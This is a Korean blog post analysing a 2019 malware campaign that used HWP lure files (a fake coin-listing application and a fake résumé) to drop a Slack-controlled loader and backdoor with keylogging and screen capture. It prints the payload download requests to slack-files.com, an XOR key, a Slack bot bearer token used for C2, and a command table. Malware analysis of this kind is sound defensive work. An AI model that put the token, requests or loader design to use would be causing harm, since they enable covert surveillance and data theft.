2019년11월4일 바이러스토탈에서 악성으로 추정되는 2개의 샘플이 헌팅되었으며 각각의 파일은 다른 파일명과 내용을 가지고 있고 바이러스 토탈의 서브미션 정보도 달랐지만 내부에 포함된 포스트스크립트는 동일한 파일로 확인되어 분석을 진행하였다.

 

 

두 개의 파일은 제목과 같이 [파일 1]은 신규코인을 상장하기 위한 신청서와 [파일 2]의 특정 인물로 위장한 이력서 사칭 문서로 이루어져 있다. 각각의 파일은 다른 대상을 목표로 공격을 시도했을 가능성으로 추정해본다.

 

파일1. [WhitePaper+소개]신규코인_상장_신청서2.hwp
파일2. 정찬혁_이력서2.hwp

 

Stage 1. 포스트스크립트
내부에 포함되어 있는 포스트스크립트는 실행될 경우 시작프로그램에 파일(%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe)을 생성하고 동작시키는데 스크립트는 코드영역과 그 코드영역에 포함되어 있는 데이터를 읽어와 하나의 파일로 만들어주는 영역으로 이루어져 있다.

 

포스트포스트스크립트 (createfile, readhexstring)
데이터 (/buf0 ~ /buf67)
포스트스크립트 (writestring)

 

※ 포스트 스크립트 특징/패턴
포스트 스크립트를 분석해보면 여러 회사에서 명명한 공격 그룹에서 사용하고 있는 공격 패턴과 유사한 점을 볼 수 있는데 우선 시작프로그램에 스크립트 형태의 파일이나 실행파일 형태로 생성 후 각 변수에 포함되어 있는 데이터를 16진수로 읽어와 쓰는 방법을 주로 사용한다. 여기서 자주 사용하는 변수명은 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 특징이 있다.

 

[자주 선언되는 변수명]
/envstr
/appenv
/popmenuw
/file0 ~ /file10
/path0 ~ /path10
/buf0 ~ /buf10

 

해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴으로 볼 수 있지만 현재까지 공개된 많은 유형의 포스트스크립트가 이와같은 특징/패턴을 가지고 있기에 참고할 수 있는 부분이라고 개인적으로 생각한다.

 

 

Stage 2. 시작프로그램의 실행파일(update.exe, memoryloader)
시작프로그램에 의해 실행된 파일은 공개된 슬랙(Slack) API를 사용하여 추가파일을 받아와 메모리에서 동작시키는 로더로써 역할을 수행한다. 우선 정상적으로 동작할경우 뮤텍스를 생성하고 추가 파일을 다운로드하기 위해 HTTP 헤더 정보를 복호화하여 가져온다.
 - decrypt xor key : 0x3FC83DF86413F23DBCBC653E9864FFA1

 

HTTP 헤더 정보 복호화 루틴

 

GET /TPCBPBQD8-FPQRX8SBD-0c03d3b809 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

다운로드 바이너리

 

분석 당시 추가로 파일을 다운로드하지 못하여 추가 바이너리 파일을 어떤 착한분에게 협찬받아 진행하였기에 핵심부분만 빠르게 분석을 진행하였다. 다운로드한 바이너리 파일은 xor 연산을 통해 복호화를 수행하며 아까 사용한 키값과 동일하게 사용한다. 이후 현재 실행 중인 자신의 PID를 가져와 reflectiveLoader()를 사용하여 파일 형태로 로드시켜 동작시킨다. 

 

인젝션 루틴

 

 

Stage 3. Reflective DLL Injection
로드된 DLL은 쓰레드를 생성해서 행위를 수행하며 현재 실행중인 프로세스에서 고스트스크립트관련 프로세스인 “gswin32.exe”, “gswin32c.exe”, “gbb.exe”가 실행되고 있을 경우 프로세스를 종료시킨다. 이후 다수의 스레드를 동시에 수행시키며 악성행위를 수행한다.

스레드 #1
현재 실행중인 프로세스의 실행경로를 가져와 30분 주기로 시작프로그램에 자가복제 파일을 생성한다.

스레드 #2
키로깅 기능을 수행하며 추가로 GetCurrentHwProfileA()를 사용하여 컴퓨터의 하드웨어 프로필 정보를 수집하고 사용자를 식별하는데 사용하는 것으로 추정된다.

스레드 #3
백도어 기능을 수행하는 메인 코드로 악성코드는 C&C 서버로 주로 협업 도구로 사용되는 슬랙(Slack)을 사용하여 명령코드를 주고받고 수집된 정보를 전송한다. 스레드가 정상적으로 동작하면 추가로 파일을 다운로드하며 그 데이터를 읽어와 명령코드로 사용하게 된다.

 

GET /TPCBPBQD8-FPQRSHDH9-5a159cc196 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

 

명령코드1에서 1바이트 크기의 명령코드를 확인 후 명령코드2를 추가로 검증하여 각기 다른 행위를 수행한다. 수집된 데이터는 슬랙과 통신을 통해서 전달되며 키값은 다음과 같다.
 - key : Bearer xoxb-794397398450-806735096260-kr3JbEBAw2Z4a9sGu6FHCZEg

 

명령코드1 (1byte) 명령코드2 기능
C (0x43) MD_ALL 또는 MD 수집된 파일 업로드
RL_ALL 또는 RL 다른 주소 접근(SSL)
D (0x44) IR_ALL 또는 IR 파일 검색
K (0x4B) EYLOG 키로거 기능 조작
S (0x53) CREEN_ALL 또는 CREEN 화면캡처
그 외 FILE_ALL 파일 전송
ING 동작하고 있는 프로세스 정보 수집

 

 

IOC
[WhitePaper+소개]신규코인_상장_신청서2.hwp (95FE089B63C095BFB2B25E8C6914D19D)
정찬혁_이력서2.hwp (D6709D7DAD54E31D87A2C721F09714FB)

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,